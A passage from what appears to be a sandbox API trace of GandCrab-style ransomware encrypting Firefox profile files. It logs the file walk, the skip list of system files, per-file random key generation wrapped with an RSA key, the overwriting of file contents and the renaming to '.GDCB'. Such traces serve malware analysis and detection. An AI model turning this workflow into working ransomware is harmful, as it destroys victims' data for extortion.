lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.871] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0057.871] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.871] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.871] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0057.871] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.871] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.871] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt" [0057.871] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.871] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt") returned 172 [0057.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt") returned 172 [0057.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt") returned 172 [0057.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\GDCB-DECRYPT.txt") returned 172 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.871] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.871] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.872] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0057.872] FindClose (in: hFindFile=0x5dddc8 | out: hFindFile=0x5dddc8) returned 1 [0057.872] FindNextFileW (in: hFindFile=0x5ddf48, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0057.872] FindClose (in: hFindFile=0x5ddf48 | out: hFindFile=0x5ddf48) returned 1 [0057.872] FindNextFileW (in: hFindFile=0x5ddbc8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.872] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2=".") returned 1 [0057.872] lstrcmpW (lpString1="818200132aebmoouht.sqlite", lpString2="..") returned 1 [0057.872] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" [0057.872] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.872] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147 [0057.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147 [0057.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147 [0057.872] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="desktop.ini") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="autorun.inf") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ntuser.dat") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="iconcache.db") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="bootsect.bak") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="boot.ini") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="ntuser.dat.log") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="thumbs.db") returned -1 [0057.872] lstrcmpiW (lpString1="818200132aebmoouht.sqlite", lpString2="GDCB-DECRYPT.txt") returned -1 [0057.872] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite")) returned 0x20 [0057.874] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite", dwFileAttributes=0x20) returned 1 [0057.875] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.875] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" [0057.875] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.GDCB" [0057.875] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x58fc60) returned 1 [0057.875] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.875] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.876] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.876] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0057.876] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.876] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.876] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5901b0) returned 1 [0057.876] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.876] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.876] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.876] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0057.876] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0057.876] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.877] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.877] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.877] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5900a0) returned 1 [0057.879] CryptImportKey (in: hProv=0x5900a0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x5dd908) returned 1 [0057.879] CryptGetKeyParam (in: hKey=0x5dd908, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0057.879] CryptEncrypt (in: hKey=0x5dd908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0057.879] GetLastError () returned 0x0 [0057.879] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0057.879] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x58fc60) returned 1 [0057.881] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x5dd848) returned 1 [0057.881] CryptGetKeyParam (in: hKey=0x5dd848, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0057.881] CryptEncrypt (in: hKey=0x5dd848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0057.882] GetLastError () returned 0x0 [0057.882] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.882] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0057.882] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.882] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.882] ReadFile (in: hFile=0x514, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285de08*=0xc000, lpOverlapped=0x0) returned 1 [0057.916] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.917] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.918] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.918] SetFilePointer (in: hFile=0x514, lDistanceToMove=-49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.918] WriteFile (in: hFile=0x514, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xc000, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285de00*=0xc000, lpOverlapped=0x0) returned 1 [0057.918] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.918] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.921] WriteFile (in: hFile=0x514, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285de00*=0x100, lpOverlapped=0x0) returned 1 [0057.922] WriteFile (in: hFile=0x514, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285de00*=0x100, lpOverlapped=0x0) returned 1 [0057.922] WriteFile (in: hFile=0x514, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285de00, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285de00*=0x10, lpOverlapped=0x0) returned 1 [0057.922] CloseHandle (hObject=0x514) returned 1 [0057.923] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.923] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.923] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.923] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.gdcb")) returned 1 [0057.924] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.924] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.924] FindNextFileW (in: hFindFile=0x5ddbc8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.924] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.924] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt" [0057.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.925] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt") returned 138 [0057.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt") returned 138 [0057.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt") returned 138 [0057.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\GDCB-DECRYPT.txt") returned 138 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.925] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.925] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.925] FindNextFileW (in: hFindFile=0x5ddbc8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0057.925] FindClose (in: hFindFile=0x5ddbc8 | out: hFindFile=0x5ddbc8) returned 1 [0057.925] FindNextFileW (in: hFindFile=0x5ddec8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0057.925] FindClose (in: hFindFile=0x5ddec8 | out: hFindFile=0x5ddec8) returned 1 [0057.925] FindNextFileW (in: hFindFile=0x5ddd48, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0057.925] FindClose (in: hFindFile=0x5ddd48 | out: hFindFile=0x5ddd48) returned 1 [0057.925] FindNextFileW (in: hFindFile=0x5ddc88, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0057.925] FindClose (in: hFindFile=0x5ddc88 | out: hFindFile=0x5ddc88) returned 1 [0057.925] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.925] lstrcmpW (lpString1="storage.sqlite", lpString2=".") returned 1 [0057.925] lstrcmpW (lpString1="storage.sqlite", lpString2="..") returned 1 [0057.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" [0057.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.926] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94 [0057.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94 [0057.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94 [0057.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="desktop.ini") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="autorun.inf") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="ntuser.dat") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="iconcache.db") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="bootsect.bak") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="boot.ini") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="ntuser.dat.log") returned 1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="thumbs.db") returned -1 [0057.926] lstrcmpiW (lpString1="storage.sqlite", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.926] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite")) returned 0x20 [0057.926] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite", dwFileAttributes=0x20) returned 1 [0057.926] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.926] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" [0057.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.GDCB" [0057.926] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5900a0) returned 1 [0057.927] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.927] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.927] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.927] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0057.927] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.927] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.928] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.928] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.928] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.928] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.928] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.928] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.928] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.929] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.930] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dddc8) returned 1 [0057.930] CryptGetKeyParam (in: hKey=0x5dddc8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.930] CryptEncrypt (in: hKey=0x5dddc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.931] GetLastError () returned 0x0 [0057.931] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.931] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 